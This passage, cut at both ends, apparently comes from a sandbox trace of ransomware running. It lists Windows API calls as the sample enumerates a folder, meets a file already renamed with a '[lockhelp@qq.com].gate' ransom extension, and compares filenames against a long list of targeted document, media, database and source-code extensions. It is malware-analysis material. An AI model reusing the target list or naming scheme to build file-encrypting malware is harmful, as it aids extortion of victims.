hFindFile=0x77d1e8) returned 1 [0272.488] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4520878 | out: hHeap=0x6e0000) returned 1 [0272.488] FindNextFileW (in: hFindFile=0x77d768, lpFindFileData=0x363fa7c | out: lpFindFileData=0x363fa7c) returned 1 [0272.488] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xfffe) returned 0x4520878 [0272.489] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1044\\*", lpFindFileData=0x363f800 | out: lpFindFileData=0x363f800) returned 0x77d1e8 [0272.511] FindNextFileW (in: hFindFile=0x77d1e8, lpFindFileData=0x363f800 | out: lpFindFileData=0x363f800) returned 1 [0272.515] FindNextFileW (in: hFindFile=0x77d1e8, lpFindFileData=0x363f800 | out: lpFindFileData=0x363f800) returned 1 [0272.515] lstrlenW (lpString="eula.rtf.id-B4197730.[lockhelp@qq.com].gate") returned 43 [0272.515] lstrlenW (lpString=".1cd") returned 4 [0272.515] lstrcmpiW (lpString1=".1cd", lpString2="gate") returned -1 [0272.515] lstrlenW (lpString=".3ds") returned 4 [0272.515] lstrcmpiW (lpString1=".3ds", lpString2="gate") returned -1 [0272.515] lstrlenW (lpString=".3fr") returned 4 [0272.516] lstrcmpiW (lpString1=".3fr", lpString2="gate") returned -1 [0272.516] lstrlenW (lpString=".3g2") returned 4 [0272.516] lstrcmpiW (lpString1=".3g2", lpString2="gate") returned -1 [0272.516] lstrlenW (lpString=".3gp") returned 4 [0272.516] lstrcmpiW (lpString1=".3gp", lpString2="gate") returned -1 [0272.516] lstrlenW (lpString=".7z") returned 3 [0272.516] lstrcmpiW (lpString1=".7z", lpString2="ate") returned -1 [0272.516] lstrlenW (lpString=".accda") returned 6 [0272.516] lstrcmpiW (lpString1=".accda", lpString2="].gate") returned -1 [0272.516] lstrlenW (lpString=".accdb") returned 6 [0272.516] lstrcmpiW (lpString1=".accdb", lpString2="].gate") returned -1 [0272.516] lstrlenW (lpString=".accdc") returned 6 [0272.516] lstrcmpiW (lpString1=".accdc", lpString2="].gate") returned -1 [0272.516] lstrlenW (lpString=".accde") returned 6 [0272.516] lstrcmpiW (lpString1=".accde", lpString2="].gate") returned -1 [0272.516] lstrlenW (lpString=".accdt") returned 6 [0272.516] lstrcmpiW (lpString1=".accdt", lpString2="].gate") returned -1 [0272.516] lstrlenW (lpString=".accdw") returned 6 [0272.516] lstrcmpiW (lpString1=".accdw", lpString2="].gate") returned -1 [0272.516] lstrlenW (lpString=".adb") returned 4 [0272.516] lstrcmpiW (lpString1=".adb", lpString2="gate") returned -1 [0272.516] lstrlenW (lpString=".adp") returned 4 [0272.516] lstrcmpiW (lpString1=".adp", lpString2="gate") returned -1 [0272.516] lstrlenW (lpString=".ai") returned 3 [0272.516] lstrcmpiW (lpString1=".ai", lpString2="ate") returned -1 [0272.516] lstrlenW (lpString=".ai3") returned 4 [0272.516] lstrcmpiW (lpString1=".ai3", lpString2="gate") returned -1 [0272.516] lstrlenW (lpString=".ai4") returned 4 [0272.517] lstrcmpiW (lpString1=".ai4", lpString2="gate") returned -1 [0272.517] lstrlenW (lpString=".ai5") returned 4 [0272.517] lstrcmpiW (lpString1=".ai5", lpString2="gate") returned -1 [0272.517] lstrlenW (lpString=".ai6") returned 4 [0272.517] lstrcmpiW (lpString1=".ai6", lpString2="gate") returned -1 [0272.517] lstrlenW (lpString=".ai7") returned 4 [0272.517] lstrcmpiW (lpString1=".ai7", lpString2="gate") returned -1 [0272.517] lstrlenW (lpString=".ai8") returned 4 [0272.517] lstrcmpiW (lpString1=".ai8", lpString2="gate") returned -1 [0272.517] lstrlenW (lpString=".anim") returned 5 [0272.517] lstrcmpiW (lpString1=".anim", lpString2=".gate") returned -1 [0272.517] lstrlenW (lpString=".arw") returned 4 [0272.517] lstrcmpiW (lpString1=".arw", lpString2="gate") returned -1 [0272.517] lstrlenW (lpString=".as") returned 3 [0272.517] lstrcmpiW (lpString1=".as", lpString2="ate") returned -1 [0272.517] lstrlenW (lpString=".asa") returned 4 [0272.517] lstrcmpiW (lpString1=".asa", lpString2="gate") returned -1 [0272.517] lstrlenW (lpString=".asc") returned 4 [0272.517] lstrcmpiW (lpString1=".asc", lpString2="gate") returned -1 [0272.517] lstrlenW (lpString=".ascx") returned 5 [0272.517] lstrcmpiW (lpString1=".ascx", lpString2=".gate") returned -1 [0272.517] lstrlenW (lpString=".asm") returned 4 [0272.517] lstrcmpiW (lpString1=".asm", lpString2="gate") returned -1 [0272.517] lstrlenW (lpString=".asmx") returned 5 [0272.517] lstrcmpiW (lpString1=".asmx", lpString2=".gate") returned -1 [0272.517] lstrlenW (lpString=".asp") returned 4 [0272.517] lstrcmpiW (lpString1=".asp", lpString2="gate") returned -1 [0272.518] lstrlenW (lpString=".aspx") returned 5 [0272.518] lstrcmpiW (lpString1=".aspx", lpString2=".gate") returned -1 [0272.518] lstrlenW (lpString=".asr") returned 4 [0272.518] lstrcmpiW (lpString1=".asr", lpString2="gate") returned -1 [0272.518] lstrlenW (lpString=".asx") returned 4 [0272.518] lstrcmpiW (lpString1=".asx", lpString2="gate") returned -1 [0272.518] lstrlenW (lpString=".avi") returned 4 [0272.518] lstrcmpiW (lpString1=".avi", lpString2="gate") returned -1 [0272.518] lstrlenW (lpString=".avs") returned 4 [0272.518] lstrcmpiW (lpString1=".avs", lpString2="gate") returned -1 [0272.518] lstrlenW (lpString=".backup") returned 7 [0272.518] lstrcmpiW (lpString1=".backup", lpString2="m].gate") returned -1 [0272.518] lstrlenW (lpString=".bak") returned 4 [0272.518] lstrcmpiW (lpString1=".bak", lpString2="gate") returned -1 [0272.518] lstrlenW (lpString=".bay") returned 4 [0272.518] lstrcmpiW (lpString1=".bay", lpString2="gate") returned -1 [0272.518] lstrlenW (lpString=".bd") returned 3 [0272.518] lstrcmpiW (lpString1=".bd", lpString2="ate") returned -1 [0272.518] lstrlenW (lpString=".bin") returned 4 [0272.518] lstrcmpiW (lpString1=".bin", lpString2="gate") returned -1 [0272.518] lstrlenW (lpString=".bmp") returned 4 [0272.518] lstrcmpiW (lpString1=".bmp", lpString2="gate") returned -1 [0272.518] lstrlenW (lpString=".bz2") returned 4 [0272.519] lstrcmpiW (lpString1=".bz2", lpString2="gate") returned -1 [0272.519] lstrlenW (lpString=".c") returned 2 [0272.519] lstrcmpiW (lpString1=".c", lpString2="te") returned -1 [0272.519] lstrlenW (lpString=".cdr") returned 4 [0272.519] lstrcmpiW (lpString1=".cdr", lpString2="gate") returned -1 [0272.519] lstrlenW (lpString=".cer") returned 4 [0272.519] lstrcmpiW (lpString1=".cer", lpString2="gate") returned -1 [0272.519] lstrlenW (lpString=".cf") returned 3 [0272.519] lstrcmpiW (lpString1=".cf", lpString2="ate") returned -1 [0272.519] lstrlenW (lpString=".cfc") returned 4 [0272.519] lstrcmpiW (lpString1=".cfc", lpString2="gate") returned -1 [0272.519] lstrlenW (lpString=".cfm") returned 4 [0272.519] lstrcmpiW (lpString1=".cfm", lpString2="gate") returned -1 [0272.519] lstrlenW (lpString=".cfml") returned 5 [0272.519] lstrcmpiW (lpString1=".cfml", lpString2=".gate") returned -1 [0272.519] lstrlenW (lpString=".cfu") returned 4 [0272.519] lstrcmpiW (lpString1=".cfu", lpString2="gate") returned -1 [0272.519] lstrlenW (lpString=".chm") returned 4 [0272.519] lstrcmpiW (lpString1=".chm", lpString2="gate") returned -1 [0272.519] lstrlenW (lpString=".cin") returned 4 [0272.519] lstrcmpiW (lpString1=".cin", lpString2="gate") returned -1 [0272.519] lstrlenW (lpString=".class") returned 6 [0272.519] lstrcmpiW (lpString1=".class", lpString2="].gate") returned -1 [0272.519] lstrlenW (lpString=".clx") returned 4 [0272.519] lstrcmpiW (lpString1=".clx", lpString2="gate") returned -1 [0272.519] lstrlenW (lpString=".config") returned 7 [0272.519] lstrcmpiW (lpString1=".config", lpString2="m].gate") returned -1 [0272.520] lstrlenW (lpString=".cpp") returned 4 [0272.520] lstrcmpiW (lpString1=".cpp", lpString2="gate") returned -1 [0272.520] lstrlenW (lpString=".cr2") returned 4 [0272.520] lstrcmpiW (lpString1=".cr2", lpString2="gate") returned -1 [0272.520] lstrlenW (lpString=".crt") returned 4 [0272.520] lstrcmpiW (lpString1=".crt", lpString2="gate") returned -1 [0272.520] lstrlenW (lpString=".crw") returned 4 [0272.520] lstrcmpiW (lpString1=".crw", lpString2="gate") returned -1 [0272.520] lstrlenW (lpString=".cs") returned 3 [0272.520] lstrcmpiW (lpString1=".cs", lpString2="ate") returned -1 [0272.520] lstrlenW (lpString=".css") returned 4 [0272.520] lstrcmpiW (lpString1=".css", lpString2="gate") returned -1 [0272.520] lstrlenW (lpString=".csv") returned 4 [0272.520] lstrcmpiW (lpString1=".csv", lpString2="gate") returned -1 [0272.520] lstrlenW (lpString=".cub") returned 4 [0272.520] lstrcmpiW (lpString1=".cub", lpString2="gate") returned -1 [0272.520] lstrlenW (lpString=".dae") returned 4 [0272.520] lstrcmpiW (lpString1=".dae", lpString2="gate") returned -1 [0272.520] lstrlenW (lpString=".dat") returned 4 [0272.520] lstrcmpiW (lpString1=".dat", lpString2="gate") returned -1 [0272.520] lstrlenW (lpString=".db") returned 3 [0272.520] lstrcmpiW (lpString1=".db", lpString2="ate") returned -1 [0272.520] lstrlenW (lpString=".dbf") returned 4 [0272.520] lstrcmpiW (lpString1=".dbf", lpString2="gate") returned -1 [0272.520] lstrlenW (lpString=".dbx") returned 4 [0272.520] lstrcmpiW (lpString1=".dbx", lpString2="gate") returned -1 [0272.520] lstrlenW (lpString=".dc3") returned 4 [0272.520] lstrcmpiW (lpString1=".dc3", lpString2="gate") returned -1 [0272.521] lstrlenW (lpString=".dcm") returned 4 [0272.521] lstrcmpiW (lpString1=".dcm", lpString2="gate") returned -1 [0272.521] lstrlenW (lpString=".dcr") returned 4 [0272.521] lstrcmpiW (lpString1=".dcr", lpString2="gate") returned -1 [0272.521] lstrlenW (lpString=".der") returned 4 [0272.521] lstrcmpiW (lpString1=".der", lpString2="gate") returned -1 [0272.521] lstrlenW (lpString=".dib") returned 4 [0272.521] lstrcmpiW (lpString1=".dib", lpString2="gate") returned -1 [0272.521] lstrlenW (lpString=".dic") returned 4 [0272.521] lstrcmpiW (lpString1=".dic", lpString2="gate") returned -1 [0272.521] lstrlenW (lpString=".dif") returned 4 [0272.521] lstrcmpiW (lpString1=".dif", lpString2="gate") returned -1 [0272.521] lstrlenW (lpString=".divx") returned 5 [0272.521] lstrcmpiW (lpString1=".divx", lpString2=".gate") returned -1 [0272.521] lstrlenW (lpString=".djvu") returned 5 [0272.521] lstrcmpiW (lpString1=".djvu", lpString2=".gate") returned -1 [0272.521] lstrlenW (lpString=".dng") returned 4 [0272.521] lstrcmpiW (lpString1=".dng", lpString2="gate") returned -1 [0272.521] lstrlenW (lpString=".doc") returned 4 [0272.521] lstrcmpiW (lpString1=".doc", lpString2="gate") returned -1 [0272.521] lstrlenW (lpString=".docm") returned 5 [0272.521] lstrcmpiW (lpString1=".docm", lpString2=".gate") returned -1 [0272.521] lstrlenW (lpString=".docx") returned 5 [0272.521] lstrcmpiW (lpString1=".docx", lpString2=".gate") returned -1 [0272.521] lstrlenW (lpString=".dot") returned 4 [0272.521] lstrcmpiW (lpString1=".dot", lpString2="gate") returned -1 [0272.521] lstrlenW (lpString=".dotm") returned 5 [0272.522] lstrcmpiW (lpString1=".dotm", lpString2=".gate") returned -1 [0272.522] lstrlenW (lpString=".dotx") returned 5 [0272.522] lstrcmpiW (lpString1=".dotx", lpString2=".gate") returned -1 [0272.522] lstrlenW (lpString=".dpx") returned 4 [0272.522] lstrcmpiW (lpString1=".dpx", lpString2="gate") returned -1 [0272.522] lstrlenW (lpString=".dqy") returned 4 [0272.522] lstrcmpiW (lpString1=".dqy", lpString2="gate") returned -1 [0272.522] lstrlenW (lpString=".dsn") returned 4 [0272.522] lstrcmpiW (lpString1=".dsn", lpString2="gate") returned -1 [0272.522] lstrlenW (lpString=".dt") returned 3 [0272.522] lstrcmpiW (lpString1=".dt", lpString2="ate") returned -1 [0272.522] lstrlenW (lpString=".dtd") returned 4 [0272.522] lstrcmpiW (lpString1=".dtd", lpString2="gate") returned -1 [0272.522] lstrlenW (lpString=".dwg") returned 4 [0272.522] lstrcmpiW (lpString1=".dwg", lpString2="gate") returned -1 [0272.522] lstrlenW (lpString=".dwt") returned 4 [0272.522] lstrcmpiW (lpString1=".dwt", lpString2="gate") returned -1 [0272.522] lstrlenW (lpString=".dx") returned 3 [0272.522] lstrcmpiW (lpString1=".dx", lpString2="ate") returned -1 [0272.522] lstrlenW (lpString=".dxf") returned 4 [0272.522] lstrcmpiW (lpString1=".dxf", lpString2="gate") returned -1 [0272.522] lstrlenW (lpString=".edml") returned 5 [0272.522] lstrcmpiW (lpString1=".edml", lpString2=".gate") returned -1 [0272.523] lstrlenW (lpString=".efd") returned 4 [0272.523] lstrcmpiW (lpString1=".efd", lpString2="gate") returned -1 [0272.523] lstrlenW (lpString=".elf") returned 4 [0272.523] lstrcmpiW (lpString1=".elf", lpString2="gate") returned -1 [0272.523] lstrlenW (lpString=".emf") returned 4 [0272.523] lstrcmpiW (lpString1=".emf", lpString2="gate") returned -1 [0272.523] lstrlenW (lpString=".emz") returned 4 [0272.523] lstrcmpiW (lpString1=".emz", lpString2="gate") returned -1 [0272.523] lstrlenW (lpString=".epf") returned 4 [0272.523] lstrcmpiW (lpString1=".epf", lpString2="gate") returned -1 [0272.523] lstrlenW (lpString=".eps") returned 4 [0272.523] lstrcmpiW (lpString1=".eps", lpString2="gate") returned -1 [0272.523] lstrlenW (lpString=".epsf") returned 5 [0272.523] lstrcmpiW (lpString1=".epsf", lpString2=".gate") returned -1 [0272.523] lstrlenW (lpString=".epsp") returned 5 [0272.523] lstrcmpiW (lpString1=".epsp", lpString2=".gate") returned -1 [0272.523] lstrlenW (lpString=".erf") returned 4 [0272.523] lstrcmpiW (lpString1=".erf", lpString2="gate") returned -1 [0272.523] lstrlenW (lpString=".exr") returned 4 [0272.523] lstrcmpiW (lpString1=".exr", lpString2="gate") returned -1 [0272.523] lstrlenW (lpString=".f4v") returned 4 [0272.523] lstrcmpiW (lpString1=".f4v", lpString2="gate") returned -1 [0272.523] lstrlenW (lpString=".fido") returned 5 [0272.523] lstrcmpiW (lpString1=".fido", lpString2=".gate") returned -1 [0272.523] lstrlenW (lpString=".flm") returned 4 [0272.523] lstrcmpiW (lpString1=".flm", lpString2="gate") returned -1 [0272.523] lstrlenW (lpString=".flv") returned 4 [0272.523] lstrcmpiW (lpString1=".flv", lpString2="gate") returned -1 [0272.524] lstrlenW (lpString=".frm") returned 4 [0272.524] lstrcmpiW (lpString1=".frm", lpString2="gate") returned -1 [0272.524] lstrlenW (lpString=".fxg") returned 4 [0272.524] lstrcmpiW (lpString1=".fxg", lpString2="gate") returned -1 [0272.524] lstrlenW (lpString=".geo") returned 4 [0272.524] lstrcmpiW (lpString1=".geo", lpString2="gate") returned -1 [0272.524] lstrlenW (lpString=".gif") returned 4 [0272.524] lstrcmpiW (lpString1=".gif", lpString2="gate") returned -1 [0272.524] lstrlenW (lpString=".grs") returned 4 [0272.524] lstrcmpiW (lpString1=".grs", lpString2="gate") returned -1 [0272.524] lstrlenW (lpString=".gz") returned 3 [0272.524] lstrcmpiW (lpString1=".gz", lpString2="ate") returned -1 [0272.524] lstrlenW (lpString=".h") returned 2 [0272.524] lstrcmpiW (lpString1=".h", lpString2="te") returned -1 [0272.524] lstrlenW (lpString=".hdr") returned 4 [0272.524] lstrcmpiW (lpString1=".hdr", lpString2="gate") returned -1 [0272.524] lstrlenW (lpString=".hpp") returned 4 [0272.524] lstrcmpiW (lpString1=".hpp", lpString2="gate") returned -1 [0272.524] lstrlenW (lpString=".hta") returned 4 [0272.524] lstrcmpiW (lpString1=".hta", lpString2="gate") returned -1 [0272.524] lstrlenW (lpString=".htc") returned 4 [0272.524] lstrcmpiW (lpString1=".htc", lpString2="gate") returned -1 [0272.524] lstrlenW (lpString=".htm") returned 4 [0272.524] lstrcmpiW (lpString1=".htm", lpString2="gate") returned -1 [0272.524] lstrlenW (lpString=".html") returned 5 [0272.524] lstrcmpiW (lpString1=".html", lpString2=".gate") returned 1 [0272.524] lstrlenW (lpString=".icb") returned 4 [0272.524] lstrcmpiW (lpString1=".icb", lpString2="gate") returned -1 [0272.525] lstrlenW (lpString=".ics") returned 4 [0272.525] lstrcmpiW (lpString1=".ics", lpString2="gate") returned -1 [0272.525] lstrlenW (lpString=".iff") returned 4 [0272.525] lstrcmpiW (lpString1=".iff", lpString2="gate") returned -1 [0272.525] lstrlenW (lpString=".inc") returned 4 [0272.525] lstrcmpiW (lpString1=".inc", lpString2="gate") returned -1 [0272.525] lstrlenW (lpString=".indd") returned 5 [0272.525] lstrcmpiW (lpString1=".indd", lpString2=".gate") returned 1 [0272.525] lstrlenW (lpString=".ini") returned 4 [0272.525] lstrcmpiW (lpString1=".ini", lpString2="gate") returned -1 [0272.525] lstrlenW (lpString=".iqy") returned 4 [0272.525] lstrcmpiW (lpString1=".iqy", lpString2="gate") returned -1 [0272.525] lstrlenW (lpString=".j2c") returned 4 [0272.525] lstrcmpiW (lpString1=".j2c", lpString2="gate") returned -1 [0272.525] lstrlenW (lpString=".j2k") returned 4 [0272.525] lstrcmpiW (lpString1=".j2k", lpString2="gate") returned -1 [0272.525] lstrlenW (lpString=".java") returned 5 [0272.525] lstrcmpiW (lpString1=".java", lpString2=".gate") returned 1 [0272.525] lstrlenW (lpString=".jp2") returned 4 [0272.525] lstrcmpiW (lpString1=".jp2", lpString2="gate") returned -1 [0272.525] lstrlenW (lpString=".jpc") returned 4 [0272.525] lstrcmpiW (lpString1=".jpc", lpString2="gate") returned -1 [0272.525] lstrlenW (lpString=".jpe") returned 4 [0272.525] lstrcmpiW (lpString1=".jpe", lpString2="gate") returned -1 [0272.525] lstrlenW (lpString=".jpeg") returned 5 [0272.526] lstrcmpiW (lpString1=".jpeg", lpString2=".gate") returned 1 [0272.526] lstrlenW (lpString=".jpf") returned 4 [0272.526] lstrcmpiW (lpString1=".jpf", lpString2="gate") returned -1 [0272.526] lstrlenW (lpString=".jpg") returned 4 [0272.526] lstrcmpiW (lpString1=".jpg", lpString2="gate") returned -1 [0272.526] lstrlenW (lpString=".jpx") returned 4 [0272.526] lstrcmpiW (lpString1=".jpx", lpString2="gate") returned -1 [0272.526] lstrlenW (lpString=".js") returned 3 [0272.526] lstrcmpiW (lpString1=".js", lpString2="ate") returned -1 [0272.526] lstrlenW (lpString=".jsf") returned 4 [0272.526] lstrcmpiW (lpString1=".jsf", lpString2="gate") returned -1 [0272.526] lstrlenW (lpString=".json") returned 5 [0272.526] lstrcmpiW (lpString1=".json", lpString2=".gate") returned 1 [0272.526] lstrlenW (lpString=".jsp") returned 4 [0272.526] lstrcmpiW (lpString1=".jsp", lpString2="gate") returned -1 [0272.526] lstrlenW (lpString=".kdc") returned 4 [0272.526] lstrcmpiW (lpString1=".kdc", lpString2="gate") returned -1 [0272.526] lstrlenW (lpString=".kmz") returned 4 [0272.526] lstrcmpiW (lpString1=".kmz", lpString2="gate") returned -1 [0272.526] lstrlenW (lpString=".kwm") returned 4 [0272.526] lstrcmpiW (lpString1=".kwm", lpString2="gate") returned -1 [0272.526] lstrlenW (lpString=".lasso") returned 6 [0272.526] lstrcmpiW (lpString1=".lasso", lpString2="].gate") returned -1 [0272.526] lstrlenW (lpString=".lbi") returned 4 [0272.526] lstrcmpiW (lpString1=".lbi", lpString2="gate") returned -1 [0272.526] lstrlenW (lpString=".lgf") returned 4 [0272.526] lstrcmpiW (lpString1=".lgf", lpString2="gate") returned -1 [0272.526] lstrlenW (lpString=".lgp") returned 4 [0272.527] lstrcmpiW (lpString1=".lgp", lpString2="gate") returned -1 [0272.527] lstrlenW (lpString=".log") returned 4 [0272.527] lstrcmpiW (lpString1=".log", lpString2="gate") returned -1 [0272.527] lstrlenW (lpString=".m1v") returned 4 [0272.527] lstrcmpiW (lpString1=".m1v", lpString2="gate") returned -1 [0272.527] lstrlenW (lpString=".m4a") returned 4 [0272.527] lstrcmpiW (lpString1=".m4a", lpString2="gate") returned -1 [0272.527] lstrlenW (lpString=".m4v") returned 4 [0272.527] lstrcmpiW (lpString1=".m4v", lpString2="gate") returned -1 [0272.527] lstrlenW (lpString=".max") returned 4 [0272.527] lstrcmpiW (lpString1=".max", lpString2="gate") returned -1 [0272.527] lstrlenW (lpString=".md") returned 3 [0272.527] lstrcmpiW (lpString1=".md", lpString2="ate") returned -1 [0272.527] lstrlenW (lpString=".mda") returned 4 [0272.527] lstrcmpiW (lpString1=".mda", lpString2="gate") returned -1 [0272.527] lstrlenW (lpString=".mdb") returned 4 [0272.527] lstrcmpiW (lpString1=".mdb", lpString2="gate") returned -1 [0272.527] lstrlenW (lpString=".mde") returned 4 [0272.527] lstrcmpiW (lpString1=".mde", lpString2="gate") returned -1 [0272.527] lstrlenW (lpString=".mdf") returned 4 [0272.527] lstrcmpiW (lpString1=".mdf", lpString2="gate") returned -1 [0272.527] lstrlenW (lpString=".mdw") returned 4 [0272.527] lstrcmpiW (lpString1=".mdw", lpString2="gate") returned -1 [0272.527] lstrlenW (lpString=".mef") returned 4 [0272.527] lstrcmpiW (lpString1=".mef", lpString2="gate") returned -1 [0272.527] lstrlenW (lpString=".mft") returned 4 [0272.527] lstrcmpiW (lpString1=".mft", lpString2="gate") returned -1 [0272.527] lstrlenW (lpString=".mfw") returned 4 [0272.528] lstrcmpiW (lpString1=".mfw", lpString2="gate") returned -1 [0272.528] lstrlenW (lpString=".mht") returned 4 [0272.528] lstrcmpiW (lpString1=".mht", lpString2="gate") returned -1 [0272.528] lstrlenW (lpString=".mhtml") returned 6 [0272.528] lstrcmpiW (lpString1=".mhtml", lpString2="].gate") returned -1 [0272.528] lstrlenW (lpString=".mka") returned 4 [0272.528] lstrcmpiW (lpString1=".mka", lpString2="gate") returned -1 [0272.528] lstrlenW (lpString=".mkidx") returned 6 [0272.528] lstrcmpiW (lpString1=".mkidx", lpString2="].gate") returned -1 [0272.528] lstrlenW (lpString=".mkv") returned 4 [0272.528] lstrcmpiW (lpString1=".mkv", lpString2="gate") returned -1 [0272.528] lstrlenW (lpString=".mos") returned 4 [0272.528] lstrcmpiW (lpString1=".mos", lpString2="gate") returned -1 [0272.528] lstrlenW (lpString=".mov") returned 4 [0272.528] lstrcmpiW (lpString1=".mov", lpString2="gate") returned -1 [0272.528] lstrlenW (lpString=".mp3") returned 4 [0272.528] lstrcmpiW (lpString1=".mp3", lpString2="gate") returned -1 [0272.528] lstrlenW (lpString=".mp4") returned 4 [0272.528] lstrcmpiW (lpString1=".mp4", lpString2="gate") returned -1 [0272.528] lstrlenW (lpString=".mpeg") returned 5 [0272.528] lstrcmpiW (lpString1=".mpeg", lpString2=".gate") returned 1 [0272.528] lstrlenW (lpString=".mpg") returned 4 [0272.528] lstrcmpiW (lpString1=".mpg", lpString2="gate") returned -1 [0272.528] lstrlenW (lpString=".mpv") returned 4 [0272.528] lstrcmpiW (lpString1=".mpv", lpString2="gate") returned -1 [0272.528] lstrlenW (lpString=".mrw") returned 4 [0272.528] lstrcmpiW (lpString1=".mrw", lpString2="gate") returned -1 [0272.528] lstrlenW (lpString=".msg") returned 4 [0272.528] lstrcmpiW (lpString1=".msg", lpString2="gate") returned -1 [0272.529] lstrlenW (lpString=".mxl") returned 4 [0272.529] lstrcmpiW (lpString1=".mxl", lpString2="gate") returned -1 [0272.529] lstrlenW (lpString=".myd") returned 4 [0272.529] lstrcmpiW (lpString1=".myd", lpString2="gate") returned -1 [0272.529] lstrlenW (lpString=".myi") returned 4 [0272.529] lstrcmpiW (lpString1=".myi", lpString2="gate") returned -1 [0272.529] lstrlenW (lpString=".nef") returned 4 [0272.529] lstrcmpiW (lpString1=".nef", lpString2="gate") returned -1 [0272.529] lstrlenW (lpString=".nrw") returned 4 [0272.529] lstrcmpiW (lpString1=".nrw", lpString2="gate") returned -1 [0272.529] lstrlenW (lpString=".obj") returned 4 [0272.529] lstrcmpiW (lpString1=".obj", lpString2="gate") returned -1 [0272.529] lstrlenW (lpString=".odb") returned 4 [0272.529] lstrcmpiW (lpString1=".odb", lpString2="gate") returned -1 [0272.529] lstrlenW (lpString=".odc") returned 4 [0272.529] lstrcmpiW (lpString1=".odc", lpString2="gate") returned -1 [0272.529] lstrlenW (lpString=".odm") returned 4 [0272.529] lstrcmpiW (lpString1=".odm", lpString2="gate") returned -1 [0272.529] lstrlenW (lpString=".odp") returned 4 [0272.529] lstrcmpiW (lpString1=".odp", lpString2="gate") returned -1 [0272.529] lstrlenW (lpString=".ods") returned 4 [0272.529] lstrcmpiW (lpString1=".ods", lpString2="gate") returned -1 [0272.529] lstrlenW (lpString=".oft") returned 4 [0272.529] lstrcmpiW (lpString1=".oft", lpString2="gate") returned -1 [0272.529] lstrlenW (lpString=".one") returned 4 [0272.529] lstrcmpiW (lpString1=".one", lpString2="gate") returned -1 [0272.529] lstrlenW (lpString=".onepkg") returned 7 [0272.529] lstrcmpiW (lpString1=".onepkg", lpString2="m].gate") returned -1 [0272.530] lstrlenW (lpString=".onetoc2") returned 8 [0272.530] lstrcmpiW (lpString1=".onetoc2", lpString2="om].gate") returned -1 [0272.530] lstrlenW (lpString=".opt") returned 4 [0272.530] lstrcmpiW (lpString1=".opt", lpString2="gate") returned -1 [0272.530] lstrlenW (lpString=".oqy") returned 4 [0272.530] lstrcmpiW (lpString1=".oqy", lpString2="gate") returned -1 [0272.530] lstrlenW (lpString=".orf") returned 4 [0272.530] lstrcmpiW (lpString1=".orf", lpString2="gate") returned -1 [0272.530] lstrlenW (lpString=".p12") returned 4 [0272.530] lstrcmpiW (lpString1=".p12", lpString2="gate") returned -1 [0272.530] lstrlenW (lpString=".p7b") returned 4 [0272.530] lstrcmpiW (lpString1=".p7b", lpString2="gate") returned -1 [0272.530] lstrlenW (lpString=".p7c") returned 4 [0272.530] lstrcmpiW (lpString1=".p7c", lpString2="gate") returned -1 [0272.530] lstrlenW (lpString=".pam") returned 4 [0272.530] lstrcmpiW (lpString1=".pam", lpString2="gate") returned -1 [0272.530] lstrlenW (lpString=".pbm") returned 4 [0272.530] lstrcmpiW (lpString1=".pbm", lpString2="gate") returned -1 [0272.530] lstrlenW (lpString=".pct") returned 4 [0272.530] lstrcmpiW (lpString1=".pct", lpString2="gate") returned -1 [0272.530] lstrlenW (lpString=".pcx") returned 4 [0272.530] lstrcmpiW (lpString1=".pcx", lpString2="gate") returned -1 [0272.530] lstrlenW (lpString=".pdd") returned 4 [0272.530] lstrcmpiW (lpString1=".pdd", lpString2="gate") returned -1 [0272.530] lstrlenW (lpString=".pdf") returned 4 [0272.530] lstrcmpiW (lpString1=".pdf", lpString2="gate") returned -1 [0272.530] lstrlenW (lpString=".pdp") returned 4 [0272.530] lstrcmpiW (lpString1=".pdp", lpString2="gate") returned -1 [0272.531] lstrlenW (lpString=".pef") returned 4 [0272.531] lstrcmpiW (lpString1=".pef", lpString2="gate") returned -1 [0272.531] lstrlenW (lpString=".pem") returned 4 [0272.531] lstrcmpiW (lpString1=".pem", lpString2="gate") returned -1 [0272.531] lstrlenW (lpString=".pff") returned 4 [0272.531] lstrcmpiW (lpString1=".pff", lpString2="gate") returned -1 [0272.531] lstrlenW (lpString=".pfm") returned 4 [0272.531] lstrcmpiW (lpString1=".pfm", lpString2="gate") returned -1 [0272.531] lstrlenW (lpString=".pfx") returned 4 [0272.531] lstrcmpiW (lpString1=".pfx", lpString2="gate") returned -1 [0272.531] lstrlenW (lpString=".pgm") returned 4 [0272.531] lstrcmpiW (lpString1=".pgm", lpString2="gate") returned -1 [0272.531] lstrlenW (lpString=".php") returned 4 [0272.531] lstrcmpiW (lpString1=".php", lpString2="gate") returned -1 [0272.531] lstrlenW (lpString=".php3") returned 5 [0272.531] lstrcmpiW (lpString1=".php3", lpString2=".gate") returned 1 [0272.531] lstrlenW (lpString=".php4") returned 5 [0272.531] lstrcmpiW (lpString1=".php4", lpString2=".gate") returned 1 [0272.531] lstrlenW (lpString=".php5") returned 5 [0272.531] lstrcmpiW (lpString1=".php5", lpString2=".gate") returned 1 [0272.531] lstrlenW (lpString=".phtml") returned 6 [0272.531] lstrcmpiW (lpString1=".phtml", lpString2="].gate") returned -1 [0272.531] lstrlenW (lpString=".pict") returned 5 [0272.531] lstrcmpiW (lpString1=".pict", lpString2=".gate") returned 1 [0272.531] lstrlenW (lpString=".pl") returned 3 [0272.531] lstrcmpiW (lpString1=".pl", lpString2="ate") returned -1 [0272.531] lstrlenW (lpString=".pls") returned 4 [0272.531] lstrcmpiW (lpString1=".pls", lpString2="gate") returned -1 [0272.532] lstrlenW (lpString=".pm") returned 3 [0272.532] lstrcmpiW (lpString1=".pm", lpString2="ate") returned -1 [0272.532] lstrlenW (lpString=".png") returned 4 [0272.532] lstrcmpiW (lpString1=".png", lpString2="gate") returned -1 [0272.532] lstrlenW (lpString=".pnm") returned 4 [0272.532] lstrcmpiW (lpString1=".pnm", lpString2="gate") returned -1 [0272.532] lstrlenW (lpString=".pot") returned 4 [0272.532] lstrcmpiW (lpString1=".pot", lpString2="gate") returned -1 [0272.532] lstrlenW (lpString=".potm") returned 5 [0272.532] lstrcmpiW (lpString1=".potm", lpString2=".gate") returned 1 [0272.532] lstrlenW (lpString=".potx") returned 5 [0272.532] lstrcmpiW (lpString1=".potx", lpString2=".gate") returned 1 [0272.532] lstrlenW (lpString=".ppa") returned 4 [0272.532] lstrcmpiW (lpString1=".ppa", lpString2="gate") returned -1 [0272.532] lstrlenW (lpString=".ppam") returned 5 [0272.532] lstrcmpiW (lpString1=".ppam", 